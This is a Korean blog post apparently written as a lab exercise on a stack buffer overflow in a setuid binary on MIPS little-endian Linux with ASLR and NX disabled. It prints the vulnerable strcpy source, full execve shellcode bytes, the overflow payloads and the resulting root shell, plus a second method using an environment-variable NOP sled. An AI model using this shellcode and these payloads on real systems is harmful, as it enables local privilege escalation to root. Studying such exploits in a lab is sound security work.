본문 바로가기

List/Embedded

[mipsel] 기본 bof 취약점 공격

ASLR  - X

NX - X



취약 소스

#include <stdio.h>


int main (int argc, char *argv[])

{

char buf[100];

strcpy(buf, argv[1]);

}



페이로드

 `perl -e 'print "\x69\x6e\x02\x3c\x2f\x62\x42\x24\xec\xff\xa2\xaf\x73\x68\x03\x3c\x2f\x2f\x63\x24\xf0\xff\xa3\xaf\xf4\xff\xa0\xaf\xfc\xff\xa0\xaf\xfc\xff\xa6\x27\xec\xff\xa4\x27\xf8\xff\xa4\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24\x0c\x01\x01\x01", "A"x52, "\xb8\x66\xff\x7f"'`



결과

user@debian-mipsel:/home/simple_bof$ ./attack_me `perl -e 'print "\x69\x6e\x02\x3c\x2f\x62\x42\x24\xec\xff\xa2\xaf\x73\x68\x03\x3c\x2f\x2f\x63\x24\xf0\xff\xa3\xaf\xf4\xff\xa0\xaf\xfc\xff\xa0\xaf\xfc\xff\xa6\x27\xec\xff\xa4\x27\xf8\xff\xa4\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24\x0c\x01\x01\x01", "A"x52, "\xd8\x66\xff\x7f"'`

# id

uid=1000(user) gid=1000(user) euid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)

#





\x00이 포함되지 않은 NOP을 사용한다면 좀 더 편리하게 권한을 얻을 수 있을 것 같다.


NOP이 없어서 +4바이트씩 브루트포싱함...






위 방법은 gdb로 쉘코드의 위치를 대강 유추하여 푼 방법이고, 이번엔 환경 변수를 이용하여 풀이하였다.


user@debian-mipsel:/home/practice$ ls -al exploit

-rwsr-xr-x 1 root user 7095 Feb  2 00:07 exploit


대상 파일은 위와 같고, setuid가 걸려있다.


NOP sled를 이용하기 위해 http://sangu1ne.tistory.com/124 에 있는 NOP인 

move $gp, $gp #this not null 0x0380e021   을 이용하였다.



user@debian-mipsel:~$ export EGG=`perl -e 'print "\x03\xa0\xe8\x21"x500, "\x69\x6e\x02\x3c\x2f\x62\x42\x24\xec\xff\xa2\xaf\x73\x68\x03\x3c\x2f\x2f\x63\x24\xf0\xff\xa3\xaf\xf4\xff\xa0\xaf\xfc\xff\xa0\xaf\xfc\xff\xa6\x27\xec\xff\xa4\x27\xf8\xff\xa4\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24\x0c\x01\x01\x01"'`


user@debian-mipsel:/home/practice$ ./getegg1

egg : 0x7fff619c


user@debian-mipsel:/home/practice$ ./exploit `perl -e 'print "A"x108, "\x9c\x61\xff\x7f"'`

# id

uid=1000(user) gid=1000(user) euid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)

# whoami

root

'List > Embedded' 카테고리의 다른 글

Embedded 환경 구축  (0) 2015.06.18
firmware-mod-kit(fmk) 설치  (2) 2015.01.23
[mipsel] shellcode 제작 - execve("/bin/sh", [/bin/sh, 0], 0) , 56byte  (0) 2015.01.11
[mipsel] add(a, b) 분석  (0) 2014.12.26
[mipsel] execve 분석  (0) 2014.12.26